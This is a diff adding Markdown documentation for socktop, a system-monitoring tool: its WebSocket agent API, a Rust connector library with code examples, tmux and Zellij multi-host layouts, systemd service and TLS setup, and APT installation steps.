||||
ws://HOST:PORT/ws?token=YOUR_TOKEN
|
||||
wss://HOST:PORT/ws?token=YOUR_TOKEN
|
||||
```
|
||||
|
||||
The agent also serves `GET /healthz` over plain HTTP, returning `200 OK` — useful for liveness probes.
|
||||
|
||||
## Request Types
|
||||
|
||||
Requests are **plain text WebSocket messages** (not JSON). The agent replies with one message per request:
|
||||
|
||||
| Request | Response |
|
||||
|---|---|
|
||||
| `get_metrics` | JSON — fast-changing metrics (CPU, memory, network, GPU) |
|
||||
| `get_disks` | JSON — array of disk/partition entries |
|
||||
| `get_processes` | Binary — protobuf process list, gzip-compressed above ~768 bytes |
|
||||
| `get_process_metrics:<PID>` | JSON — detailed metrics for one process |
|
||||
| `get_journal_entries:<PID>` | JSON — recent journal entries for one process |
|
||||
|
||||
Unknown messages are ignored. The agent is fully request-driven: it collects nothing until you ask, and short TTL caches (metrics 250 ms, disks 1 s, processes 1.5 s) mean multiple clients share collection work.
|
||||
|
||||
## Response Formats
|
||||
|
||||
### `get_metrics` (JSON)
|
||||
|
||||
```json
|
||||
{
|
||||
"sampled_at_ms": 1755900000000,
|
||||
"cpu_total": 12.4,
|
||||
"cpu_per_core": [11.2, 15.7],
|
||||
"mem_total": 33554432,
|
||||
"mem_used": 18321408,
|
||||
"swap_total": 0,
|
||||
"swap_used": 0,
|
||||
"hostname": "myserver",
|
||||
"cpu_temp_c": 42.5,
|
||||
"disks": [],
|
||||
"networks": [{"name":"eth0","received":12345678,"transmitted":87654321}],
|
||||
"top_processes": [],
|
||||
"gpus": [{"name":"NVIDIA GeForce RTX 5080","utilization_gpu_pct":56,"mem_used_bytes":1073741824,"mem_total_bytes":8589934592}]
|
||||
}
|
||||
```
|
||||
|
||||
Notes:
|
||||
|
||||
- `sampled_at_ms` (added in 1.60) is the epoch-milliseconds timestamp of when the snapshot was **actually collected** on the agent. Because responses can be served from the TTL cache, compute rates (e.g. network KB/s) from deltas of `sampled_at_ms`, not from your own receive times.
|
||||
- `disks` and `top_processes` are always empty here — request them separately with `get_disks` / `get_processes`.
|
||||
- `cpu_temp_c` is `null` when no sensor is available; `gpus` is `null` when there is no GPU (or GPU collection is disabled).
|
||||
- `received`/`transmitted` are cumulative byte counters since agent start.
|
||||
|
||||
### `get_disks` (JSON)
|
||||
|
||||
```json
|
||||
[
|
||||
{"name":"nvme0n1","total":512000000000,"available":320000000000,"temperature":38.5,"is_partition":false},
|
||||
{"name":"nvme0n1p2","total":511000000000,"available":320000000000,"temperature":null,"is_partition":true}
|
||||
]
|
||||
```
|
||||
|
||||
`is_partition` distinguishes partitions from whole disks (exact on Linux via `/sys/block`).
|
||||
|
||||
### `get_processes` (Protocol Buffers)
|
||||
|
||||
Returned as a binary WebSocket message. If the encoded payload exceeds ~768 bytes (nearly always), it is gzip-compressed. Schema:
|
||||
|
||||
```protobuf
|
||||
syntax = "proto3";
|
||||
package socktop;
|
||||
|
||||
message Processes {
|
||||
uint64 process_count = 1; // total processes in the system
|
||||
repeated Process rows = 2; // all processes (sorting is client-side)
|
||||
}
|
||||
|
||||
message Process {
|
||||
uint32 pid = 1;
|
||||
string name = 2;
|
||||
float cpu_usage = 3; // 0..100
|
||||
uint64 mem_bytes = 4; // RSS bytes
|
||||
}
|
||||
```
|
||||
|
||||
To decode: check for the gzip magic bytes (`0x1f 0x8b`), decompress if present, then parse with any protobuf library.
|
||||
|
||||
### `get_process_metrics:<PID>` and `get_journal_entries:<PID>` (JSON)
|
||||
|
||||
Added for the process-details view: per-process detail (command line, executable, working directory, per-thread CPU times in **microseconds**, and more) and recent journal entries. Journal entries carry both a display `timestamp` (RFC 3339 UTC) and a numeric `timestamp_us` (epoch microseconds, added in 1.60); the response's `notice` field, when present, explains empty results caused by journal access restrictions rather than absence of logs. These responses are cached per PID for 250 ms / 1 s respectively.
|
||||
|
||||
## Example: JavaScript/Node.js
|
||||
|
||||
```javascript
|
||||
const WebSocket = require('ws');
|
||||
|
||||
const ws = new WebSocket('ws://localhost:3000/ws');
|
||||
|
||||
ws.on('open', () => {
|
||||
console.log('Connected to socktop_agent');
|
||||
|
||||
// Requests are plain text messages
|
||||
setInterval(() => ws.send('get_metrics'), 1000);
|
||||
setInterval(() => ws.send('get_processes'), 3000);
|
||||
});
|
||||
|
||||
ws.on('message', (data, isBinary) => {
|
||||
if (isBinary) {
|
||||
// get_processes reply: gzip'd protobuf (see schema above)
|
||||
console.log('Binary process list, length:', data.length);
|
||||
} else {
|
||||
const metrics = JSON.parse(data.toString());
|
||||
console.log(`CPU: ${metrics.cpu_total}%`);
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
## Example: Python
|
||||
|
||||
```python
|
||||
import json
|
||||
import asyncio
|
||||
import websockets
|
||||
|
||||
async def monitor_system():
|
||||
uri = "ws://localhost:3000/ws"
|
||||
async with websockets.connect(uri) as websocket:
|
||||
print("Connected to socktop_agent")
|
||||
|
||||
while True:
|
||||
await websocket.send("get_metrics") # plain text request
|
||||
response = await websocket.recv()
|
||||
|
||||
if isinstance(response, str):
|
||||
data = json.loads(response)
|
||||
print(f"CPU: {data['cpu_total']}%, "
|
||||
f"Memory: {data['mem_used']/data['mem_total']*100:.1f}%")
|
||||
else:
|
||||
print(f"Binary response, length: {len(response)}")
|
||||
|
||||
await asyncio.sleep(1)
|
||||
|
||||
asyncio.run(monitor_system())
|
||||
```
|
||||
|
||||
## Recommended Intervals
|
||||
|
||||
- Metrics: ≥ 500 ms
|
||||
- Processes: ≥ 2000 ms
|
||||
- Disks: ≥ 5000 ms
|
||||
|
||||
Polling faster than the agent's TTL caches (250 ms / 1.5 s / 1 s) just returns cached snapshots.
|
||||
|
||||
## Error Handling
|
||||
|
||||
Send each request and await its reply before sending the next of the same kind — replies carry no request ID and are matched by order. Wrap requests in a timeout and treat a timeout as a dead connection: reconnect rather than continuing on a stream that may now be misaligned.
|
||||
|
||||
```javascript
|
||||
function connect() {
|
||||
const ws = new WebSocket('ws://localhost:3000/ws');
|
||||
|
||||
ws.on('open', () => {
|
||||
// Start polling
|
||||
});
|
||||
|
||||
ws.on('close', () => {
|
||||
console.log('Connection lost, reconnecting...');
|
||||
setTimeout(connect, 1000);
|
||||
});
|
||||
}
|
||||
|
||||
connect();
|
||||
```
|
||||
|
||||
## Compatibility
|
||||
|
||||
Wire changes are additive: new fields (like `sampled_at_ms` and `timestamp_us`) appear alongside old ones, so integrations built against older agents keep working against newer ones and vice versa.
|
||||
@@ -0,0 +1,426 @@
|
||||
# Socktop Connector Library
|
||||
|
||||
The `socktop_connector` library provides a high-level interface for connecting to socktop agents programmatically.
|
||||
|
||||
## Overview
|
||||
|
||||
The connector library allows you to:
|
||||
|
||||
- **Build custom monitoring tools** - Create your own dashboards and UIs
|
||||
- **Integrate with existing systems** - Add socktop metrics to your applications
|
||||
- **Automate monitoring** - Script-based system checks and alerts
|
||||
- **WASM support** - Use in browser-based applications
|
||||
|
||||
## Installation
|
||||
|
||||
Add to your `Cargo.toml`:
|
||||
|
||||
```toml
|
||||
[dependencies]
|
||||
socktop_connector = "1.60"
|
||||
tokio = { version = "1", features = ["full"] }
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Basic Connection
|
||||
|
||||
```rust
|
||||
use socktop_connector::{connect_to_socktop_agent, AgentRequest, AgentResponse};
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Connect to agent
|
||||
let mut connector = connect_to_socktop_agent("ws://localhost:3000/ws").await?;
|
||||
|
||||
// Request metrics
|
||||
if let Ok(AgentResponse::Metrics(metrics)) = connector.request(AgentRequest::Metrics).await {
|
||||
println!("Hostname: {}", metrics.hostname);
|
||||
println!("CPU Usage: {:.1}%", metrics.cpu_total);
|
||||
println!("Memory: {:.1} GB / {:.1} GB",
|
||||
metrics.mem_used as f64 / 1_000_000_000.0,
|
||||
metrics.mem_total as f64 / 1_000_000_000.0);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
### With TLS
|
||||
|
||||
```rust
|
||||
use socktop_connector::connect_to_socktop_agent_with_tls;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
let connector = connect_to_socktop_agent_with_tls(
|
||||
"wss://secure-host:8443/ws",
|
||||
"/path/to/cert.pem",
|
||||
false // verify_hostname: false = pin the certificate (default socktop behavior)
|
||||
).await?;
|
||||
|
||||
// Use connector...
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
## Request Types
|
||||
|
||||
The connector supports several request types:
|
||||
|
||||
### Metrics Request
|
||||
|
||||
Get comprehensive system metrics:
|
||||
|
||||
```rust
|
||||
use socktop_connector::{AgentRequest, AgentResponse};
|
||||
|
||||
match connector.request(AgentRequest::Metrics).await {
|
||||
Ok(AgentResponse::Metrics(metrics)) => {
|
||||
println!("CPU Total: {:.1}%", metrics.cpu_total);
|
||||
|
||||
// Per-core usage
|
||||
for (i, usage) in metrics.cpu_per_core.iter().enumerate() {
|
||||
println!("Core {}: {:.1}%", i, usage);
|
||||
}
|
||||
|
||||
// CPU temperature
|
||||
if let Some(temp) = metrics.cpu_temp_c {
|
||||
println!("CPU Temperature: {:.1}°C", temp);
|
||||
}
|
||||
|
||||
// Memory
|
||||
println!("Memory Used: {} bytes", metrics.mem_used);
|
||||
println!("Memory Total: {} bytes", metrics.mem_total);
|
||||
|
||||
// Swap
|
||||
println!("Swap Used: {} bytes", metrics.swap_used);
|
||||
println!("Swap Total: {} bytes", metrics.swap_total);
|
||||
|
||||
// Network interfaces
|
||||
for net in &metrics.networks {
|
||||
println!("Interface {}: ↓{} ↑{}",
|
||||
net.name, net.received, net.transmitted);
|
||||
}
|
||||
|
||||
// GPU information
|
||||
if let Some(gpus) = &metrics.gpus {
|
||||
for gpu in gpus {
|
||||
if let Some(name) = &gpu.name {
|
||||
println!("GPU: {}", name);
|
||||
println!(" Utilization: {:.1}%", gpu.utilization.unwrap_or(0.0));
|
||||
if let Some(temp) = gpu.temp {
|
||||
println!(" Temperature: {:.1}°C", temp);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
_ => unreachable!(),
|
||||
}
|
||||
```
|
||||
|
||||
### Process Request
|
||||
|
||||
Get process information:
|
||||
|
||||
```rust
|
||||
match connector.request(AgentRequest::Processes).await {
|
||||
Ok(AgentResponse::Processes(processes)) => {
|
||||
println!("Total processes: {}", processes.process_count);
|
||||
|
||||
for proc in &processes.top_processes {
|
||||
println!("PID {}: {} - CPU: {:.1}%, Mem: {} MB",
|
||||
proc.pid,
|
||||
proc.name,
|
||||
proc.cpu_usage,
|
||||
proc.mem_bytes / 1_000_000);
|
||||
}
|
||||
}
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
_ => unreachable!(),
|
||||
}
|
||||
```
|
||||
|
||||
### Disk Request
|
||||
|
||||
Get disk information:
|
||||
|
||||
```rust
|
||||
match connector.request(AgentRequest::Disks).await {
|
||||
Ok(AgentResponse::Disks(disks)) => {
|
||||
for disk in disks {
|
||||
let used = disk.total - disk.available;
|
||||
let used_gb = used as f64 / 1_000_000_000.0;
|
||||
let total_gb = disk.total as f64 / 1_000_000_000.0;
|
||||
let percent = (used as f64 / disk.total as f64) * 100.0;
|
||||
|
||||
println!("Disk {}: {:.1} GB / {:.1} GB ({:.1}%)",
|
||||
disk.name, used_gb, total_gb, percent);
|
||||
}
|
||||
}
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
_ => unreachable!(),
|
||||
}
|
||||
```
|
||||
|
||||
## Continuous Monitoring
|
||||
|
||||
Monitor metrics in a loop:
|
||||
|
||||
```rust
|
||||
use tokio::time::{sleep, Duration};
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
let mut connector = connect_to_socktop_agent("ws://localhost:3000/ws").await?;
|
||||
|
||||
loop {
|
||||
match connector.request(AgentRequest::Metrics).await {
|
||||
Ok(AgentResponse::Metrics(metrics)) => {
|
||||
println!("CPU: {:.1}%, Memory: {:.1}%",
|
||||
metrics.cpu_total,
|
||||
(metrics.mem_used as f64 / metrics.mem_total as f64) * 100.0
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Connection error: {}", e);
|
||||
break;
|
||||
}
|
||||
_ => unreachable!(),
|
||||
}
|
||||
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
## Advanced Usage
|
||||
|
||||
### Custom Configuration
|
||||
|
||||
`ConnectorConfig` uses a builder pattern:
|
||||
|
||||
```rust
|
||||
use socktop_connector::{ConnectorConfig, SocktopConnector};
|
||||
|
||||
let config = ConnectorConfig::new("wss://server:8443/ws?token=secret-token")
|
||||
.with_tls_ca("/path/to/cert.pem")
|
||||
.with_hostname_verification(false);
|
||||
|
||||
let mut connector = SocktopConnector::new(config);
|
||||
connector.connect().await?;
|
||||
```
|
||||
|
||||
An authentication token is passed as a `token` query parameter in the URL (there is no separate token field).
|
||||
|
||||
### Error Handling
|
||||
|
||||
`ConnectorError` variants carry structured context:
|
||||
|
||||
```rust
|
||||
use socktop_connector::{AgentRequest, ConnectorError, Result, connect_to_socktop_agent};
|
||||
|
||||
async fn monitor() -> Result<()> {
|
||||
let mut connector = connect_to_socktop_agent("ws://server:3000/ws").await?;
|
||||
|
||||
match connector.request(AgentRequest::Metrics).await {
|
||||
Ok(_response) => {
|
||||
// Handle response
|
||||
Ok(())
|
||||
}
|
||||
Err(e @ ConnectorError::ConnectionClosed { .. }) => {
|
||||
eprintln!("Connection closed, attempting reconnect...");
|
||||
Err(e)
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error: {}", e);
|
||||
Err(e)
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## WASM Support
|
||||
|
||||
The connector supports WebAssembly for browser usage:
|
||||
|
||||
```toml
|
||||
[dependencies]
|
||||
socktop_connector = { version = "1.60", default-features = false, features = ["wasm"] }
|
||||
```
|
||||
|
||||
```rust
|
||||
use socktop_connector::connect_to_socktop_agent;
|
||||
use wasm_bindgen::prelude::*;
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub async fn monitor_system(url: String) -> Result<JsValue, JsValue> {
|
||||
let mut connector = connect_to_socktop_agent(&url)
|
||||
.await
|
||||
.map_err(|e| JsValue::from_str(&e.to_string()))?;
|
||||
|
||||
match connector.request(AgentRequest::Metrics).await {
|
||||
Ok(AgentResponse::Metrics(metrics)) => {
|
||||
Ok(JsValue::from_str(&format!("CPU: {:.1}%", metrics.cpu_total)))
|
||||
}
|
||||
Err(e) => Err(JsValue::from_str(&e.to_string())),
|
||||
_ => Err(JsValue::from_str("Unexpected response")),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Building Custom Applications
|
||||
|
||||
### Example: Simple Dashboard
|
||||
|
||||
```rust
|
||||
use socktop_connector::*;
|
||||
use tokio::time::{interval, Duration};
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
let servers = vec![
|
||||
("web", "ws://web.example.com:3000/ws"),
|
||||
("db", "ws://db.example.com:3000/ws"),
|
||||
("cache", "ws://cache.example.com:3000/ws"),
|
||||
];
|
||||
|
||||
let mut connectors = Vec::new();
|
||||
for (name, url) in servers {
|
||||
match connect_to_socktop_agent(url).await {
|
||||
Ok(conn) => connectors.push((name, conn)),
|
||||
Err(e) => eprintln!("Failed to connect to {}: {}", name, e),
|
||||
}
|
||||
}
|
||||
|
||||
let mut tick = interval(Duration::from_secs(2));
|
||||
|
||||
loop {
|
||||
tick.tick().await;
|
||||
|
||||
for (name, connector) in &mut connectors {
|
||||
if let Ok(AgentResponse::Metrics(m)) = connector.request(AgentRequest::Metrics).await {
|
||||
println!("[{}] CPU: {:.1}%, Mem: {:.1}%",
|
||||
name,
|
||||
m.cpu_total,
|
||||
(m.mem_used as f64 / m.mem_total as f64) * 100.0
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
println!("---");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Alert System
|
||||
|
||||
```rust
|
||||
use socktop_connector::*;
|
||||
|
||||
async fn check_alerts(mut connector: SocktopConnector) -> Result<(), Box<dyn std::error::Error>> {
|
||||
match connector.request(AgentRequest::Metrics).await {
|
||||
Ok(AgentResponse::Metrics(metrics)) => {
|
||||
// CPU alert
|
||||
if metrics.cpu_total > 90.0 {
|
||||
eprintln!("ALERT: CPU usage at {:.1}%", metrics.cpu_total);
|
||||
}
|
||||
|
||||
// Memory alert
|
||||
let mem_percent = (metrics.mem_used as f64 / metrics.mem_total as f64) * 100.0;
|
||||
if mem_percent > 90.0 {
|
||||
eprintln!("ALERT: Memory usage at {:.1}%", mem_percent);
|
||||
}
|
||||
|
||||
// Disk alert
|
||||
if let Ok(AgentResponse::Disks(disks)) = connector.request(AgentRequest::Disks).await {
|
||||
for disk in disks {
|
||||
let used_percent = ((disk.total - disk.available) as f64 / disk.total as f64) * 100.0;
|
||||
if used_percent > 90.0 {
|
||||
eprintln!("ALERT: Disk {} at {:.1}%", disk.name, used_percent);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => eprintln!("Error fetching metrics: {}", e),
|
||||
_ => {}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
## Data Types
|
||||
|
||||
Key types provided by the library:
|
||||
|
||||
- `Metrics` - System metrics (CPU, memory, network, GPU, etc.)
|
||||
- `DetailedProcessInfo` - Per-process detail (command, threads, ...)
|
||||
- `DiskInfo` - Disk usage information
|
||||
- `NetworkInfo` - Network interface statistics
|
||||
- `GpuInfo` - GPU metrics
|
||||
- `JournalEntry` - Systemd journal entries
|
||||
- `AgentRequest` - Request types (`Metrics`, `Disks`, `Processes`, `ProcessMetrics { pid }`, `JournalEntries { pid }`)
|
||||
- `AgentResponse` - Response types
|
||||
|
||||
See the [crate documentation](https://docs.rs/socktop_connector) for complete API reference.
|
||||
|
||||
## Performance Considerations
|
||||
|
||||
The connector is lightweight and efficient:
|
||||
|
||||
- **Protocol Buffers** - Efficient binary serialization
|
||||
- **Gzip compression** - Reduced bandwidth usage
|
||||
- **Async I/O** - Non-blocking operations
|
||||
- **Connection reuse** - Single WebSocket for multiple requests
|
||||
|
||||
Typical resource usage:
|
||||
- **Memory**: ~1-5 MB per connection
|
||||
- **CPU**: < 0.1% during idle
|
||||
- **Bandwidth**: ~1-5 KB per metrics request
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Connection Errors
|
||||
|
||||
```rust
|
||||
match connect_to_socktop_agent(url).await {
|
||||
Err(ConnectorError::ConnectionFailed { source }) => {
|
||||
eprintln!("Connection failed: {}", source);
|
||||
// Retry logic here
|
||||
}
|
||||
Err(ConnectorError::InvalidUrl { url, .. }) => {
|
||||
eprintln!("Invalid URL: {}", url);
|
||||
}
|
||||
Err(e) => eprintln!("Other error: {}", e),
|
||||
Ok(conn) => { /* Success */ }
|
||||
}
|
||||
```
|
||||
|
||||
### TLS Errors
|
||||
|
||||
A `TlsError` or `CertificateError` usually means the pinned certificate doesn't match what the agent presented (or the PEM path is wrong). Re-copy `cert.pem` from the agent — see [TLS Configuration](../security/tls.md). Hostname verification is off by default (`with_hostname_verification(false)`), which pins the certificate rather than skipping checks.
|
||||
|
||||
## Examples Repository
|
||||
|
||||
Working examples in the socktop repository:
|
||||
|
||||
- [`examples/wasm_example.rs`](https://github.com/jasonwitty/socktop/blob/master/examples/wasm_example.rs) - Connector usage from WASM
|
||||
- [`socktop_wasm_test/`](https://github.com/jasonwitty/socktop/tree/master/socktop_wasm_test) - Browser-based test harness for the wasm feature
|
||||
- [`socktop/`](https://github.com/jasonwitty/socktop/tree/master/socktop) - The TUI itself is the reference consumer of the connector
|
||||
|
||||
## API Reference
|
||||
|
||||
Full API documentation: [docs.rs/socktop_connector](https://docs.rs/socktop_connector)
|
||||
|
||||
## Next Steps
|
||||
|
||||
- [Agent Direct Integration](./agent-integration.md) - Embed agent in your app
|
||||
- [General Usage](../usage/general.md) - Using the TUI client
|
||||
- [Configuration](../usage/configuration.md) - Configuration options
|
||||
<!-- TODO: Add Prometheus exporter example -->
|
||||
@@ -0,0 +1,57 @@
|
||||
# Monitor Multiple Hosts with tmux
|
||||
|
||||
Use tmux to show multiple socktop instances in a single terminal.
|
||||
|
||||

|
||||
*monitoring 4 Raspberry Pis using Tmux*
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Install tmux:
|
||||
|
||||
```bash
|
||||
# Ubuntu/Debian
|
||||
sudo apt-get install tmux
|
||||
```
|
||||
|
||||
## Two panes (left/right)
|
||||
|
||||
This creates a session named "socktop", splits it horizontally, and starts two socktops.
|
||||
|
||||
```bash
|
||||
tmux new-session -d -s socktop 'socktop ws://HOST1:3000/ws' \; \
|
||||
split-window -h 'socktop ws://HOST2:3000/ws' \; \
|
||||
select-layout even-horizontal \; \
|
||||
attach
|
||||
```
|
||||
|
||||
## Four panes (2x2 grid)
|
||||
|
||||
This creates a 2x2 grid with one socktop per pane.
|
||||
|
||||
```bash
|
||||
tmux new-session -d -s socktop 'socktop ws://HOST1:3000/ws' \; \
|
||||
split-window -h 'socktop ws://HOST2:3000/ws' \; \
|
||||
select-pane -t 0 \; split-window -v 'socktop ws://HOST3:3000/ws' \; \
|
||||
select-pane -t 1 \; split-window -v 'socktop ws://HOST4:3000/ws' \; \
|
||||
select-layout tiled \; \
|
||||
attach
|
||||
```
|
||||
|
||||
## Tips
|
||||
|
||||
- Replace HOST1..HOST4 (and ports) with your targets
|
||||
- Reattach later: `tmux attach -t socktop`
|
||||
|
||||
## Key bindings (defaults)
|
||||
|
||||
- Split left/right: `Ctrl-b %`
|
||||
- Split top/bottom: `Ctrl-b "`
|
||||
- Move between panes: `Ctrl-b` + Arrow keys
|
||||
- Show pane numbers: `Ctrl-b q`
|
||||
- Close a pane: `Ctrl-b x`
|
||||
- Detach from session: `Ctrl-b d`
|
||||
|
||||
## More Info
|
||||
|
||||
For detailed tmux documentation, see the [tmux GitHub](https://github.com/tmux/tmux).
|
||||
@@ -0,0 +1,55 @@
|
||||
# Monitor Multiple Hosts with Zellij
|
||||
|
||||
Use Zellij to monitor multiple socktop instances in a single terminal.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
cargo install zellij
|
||||
```
|
||||
|
||||
## Example Layout
|
||||
|
||||
Create `socktop-layout.kdl`:
|
||||
|
||||
```kdl
|
||||
layout {
|
||||
pane split_direction="vertical" {
|
||||
pane command="socktop" {
|
||||
args "-P" "rpi-master"
|
||||
}
|
||||
pane command="socktop" {
|
||||
args "-P" "rpi-worker-1"
|
||||
}
|
||||
}
|
||||
pane split_direction="vertical" {
|
||||
pane command="socktop" {
|
||||
args "-P" "rpi-worker-2"
|
||||
}
|
||||
pane command="socktop" {
|
||||
args "-P" "rpi-worker-3"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Run it:
|
||||
|
||||
```bash
|
||||
zellij --layout socktop-layout.kdl
|
||||
```
|
||||
|
||||
## Saved Layouts
|
||||
|
||||
Layouts placed in `~/.config/zellij/layouts/` can be launched by name:
|
||||
|
||||
```bash
|
||||
cp socktop-layout.kdl ~/.config/zellij/layouts/socktop-monitoring.kdl
|
||||
zellij --layout socktop-monitoring
|
||||
```
|
||||
|
||||
The pane commands reference [connection profiles](../usage/connection-profiles.md) by name (`-P rpi-master`), so create the profiles first.
|
||||
|
||||
## More Info
|
||||
|
||||
For detailed Zellij documentation, see [Zellij](https://zellij.dev/).
|
||||
@@ -0,0 +1,139 @@
|
||||
# Agent Service Setup
|
||||
|
||||
## APT Installation
|
||||
|
||||
If you installed via APT, the service is already configured:
|
||||
|
||||
```bash
|
||||
sudo systemctl enable --now socktop-agent
|
||||
```
|
||||
|
||||
## Cargo Installation
|
||||
|
||||
System-wide agent setup:
|
||||
|
||||
```bash
|
||||
# If you installed with cargo, binaries are in ~/.cargo/bin
|
||||
sudo install -o root -g root -m 0755 "$HOME/.cargo/bin/socktop_agent" /usr/local/bin/socktop_agent
|
||||
|
||||
# Install and enable the systemd service (example unit in docs/)
|
||||
sudo install -o root -g root -m 0644 docs/socktop-agent.service /etc/systemd/system/socktop-agent.service
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable --now socktop-agent
|
||||
```
|
||||
|
||||
## Enable SSL
|
||||
|
||||
```bash
|
||||
# Stop service
|
||||
sudo systemctl stop socktop-agent
|
||||
|
||||
# Edit service to append SSL option and port
|
||||
sudo nano /etc/systemd/system/socktop-agent.service
|
||||
|
||||
# Change ExecStart line to:
|
||||
# ExecStart=/usr/local/bin/socktop_agent --enableSSL --port 8443
|
||||
|
||||
# Reload
|
||||
sudo systemctl daemon-reload
|
||||
|
||||
# Restart
|
||||
sudo systemctl start socktop-agent
|
||||
|
||||
# Check logs for certificate location
|
||||
sudo journalctl -u socktop-agent -f
|
||||
|
||||
# Example output:
|
||||
# Aug 22 22:25:26 rpi-master socktop_agent[2913998]: socktop_agent: generated self-signed TLS certificate at /var/lib/socktop/.config/socktop_agent/tls/cert.pem
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
Agent configuration via command-line flags or environment variables:
|
||||
|
||||
Port:
|
||||
- Flag: `--port 8080` or `-p 8080`
|
||||
- Env: `SOCKTOP_PORT=8080`
|
||||
|
||||
TLS (self-signed):
|
||||
- Enable: `--enableSSL`
|
||||
- Default TLS port: 8443 (override with `--port/-p`)
|
||||
- Certificate/Key location (created on first TLS run):
|
||||
- Linux (XDG): `$XDG_CONFIG_HOME/socktop_agent/tls/{cert.pem,key.pem}` (defaults to `~/.config`)
|
||||
- The agent prints these paths on creation
|
||||
- Note: when running as the packaged service, the service user's home is `/var/lib/socktop`, so certs land under `/var/lib/socktop/.config/socktop_agent/tls/`
|
||||
|
||||
Auth token (optional): `SOCKTOP_TOKEN=changeme`
|
||||
|
||||
Disable GPU metrics: `SOCKTOP_AGENT_GPU=0`
|
||||
|
||||
Disable CPU temperature: `SOCKTOP_AGENT_TEMP=0`
|
||||
|
||||
See [Configuration](../usage/configuration.md) for the complete reference, including tuning variables.
|
||||
|
||||
## Journal Access (Process Details)
|
||||
|
||||
The process-details view can show recent journal entries for a process. The agent reads them with `journalctl`, so it needs permission to read the system journal. If it can't, the TUI shows a journal-access notice instead of entries (rather than a misleading "no entries").
|
||||
|
||||
The packaged service runs as the `socktop` user. To grant journal access:
|
||||
|
||||
```bash
|
||||
sudo usermod -aG systemd-journal socktop
|
||||
sudo systemctl restart socktop-agent
|
||||
```
|
||||
|
||||
An agent run ad hoc as your own user can typically only read your user journal; run it as a service (or as a user in the `systemd-journal` group) to see entries for system services.
|
||||
|
||||
## Managing the Service
|
||||
|
||||
### Basic Commands
|
||||
|
||||
```bash
|
||||
# Start the service
|
||||
sudo systemctl start socktop-agent
|
||||
|
||||
# Stop the service
|
||||
sudo systemctl stop socktop-agent
|
||||
|
||||
# Restart the service
|
||||
sudo systemctl restart socktop-agent
|
||||
|
||||
# Reload configuration (if supported)
|
||||
sudo systemctl reload socktop-agent
|
||||
|
||||
# View service status
|
||||
sudo systemctl status socktop-agent
|
||||
|
||||
# Enable auto-start on boot
|
||||
sudo systemctl enable socktop-agent
|
||||
|
||||
# Disable auto-start on boot
|
||||
sudo systemctl disable socktop-agent
|
||||
|
||||
# Enable and start in one command
|
||||
sudo systemctl enable --now socktop-agent
|
||||
```
|
||||
|
||||
### Logs
|
||||
|
||||
```bash
|
||||
# Follow live logs
|
||||
sudo journalctl -u socktop-agent -f
|
||||
|
||||
# View recent logs
|
||||
sudo journalctl -u socktop-agent -n 50
|
||||
```
|
||||
|
||||
### Status
|
||||
|
||||
```bash
|
||||
# Check status
|
||||
sudo systemctl status socktop-agent --no-pager
|
||||
|
||||
# Is the service running?
|
||||
sudo systemctl is-active socktop-agent
|
||||
```
|
||||
|
||||
## Updating
|
||||
|
||||
See [Upgrading](./upgrading.md).
|
||||
@@ -0,0 +1,105 @@
|
||||
# Install via APT
|
||||
|
||||
The easiest way to install socktop on Debian and Ubuntu systems is through the official APT repository.
|
||||
|
||||
## Supported Systems
|
||||
|
||||
The APT repository supports:
|
||||
|
||||
- **Debian** 10+ (Buster and newer)
|
||||
- **Ubuntu** 20.04+ (Focal and newer)
|
||||
- **Raspberry Pi OS** (Debian-based)
|
||||
- **Other Debian derivatives**
|
||||
|
||||
### Supported Architectures
|
||||
|
||||
- **amd64** (x86_64)
|
||||
- **arm64** (aarch64)
|
||||
- **armhf** (ARMv7)
|
||||
- **riscv64** (experimental)
|
||||
|
||||
## Installation
|
||||
|
||||
### Step 1: Add GPG Signing Key
|
||||
|
||||
First, add the repository's GPG signing key to verify package authenticity:
|
||||
|
||||
```bash
|
||||
curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \
|
||||
sudo gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg
|
||||
```
|
||||
|
||||
This ensures that packages are cryptographically verified before installation.
|
||||
|
||||
### Step 2: Add APT Repository
|
||||
|
||||
Add the socktop repository to your system's sources list:
|
||||
|
||||
```bash
|
||||
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" | \
|
||||
sudo tee /etc/apt/sources.list.d/socktop.list
|
||||
```
|
||||
|
||||
### Step 3: Update Package Lists
|
||||
|
||||
Refresh your package cache to include the new repository:
|
||||
|
||||
```bash
|
||||
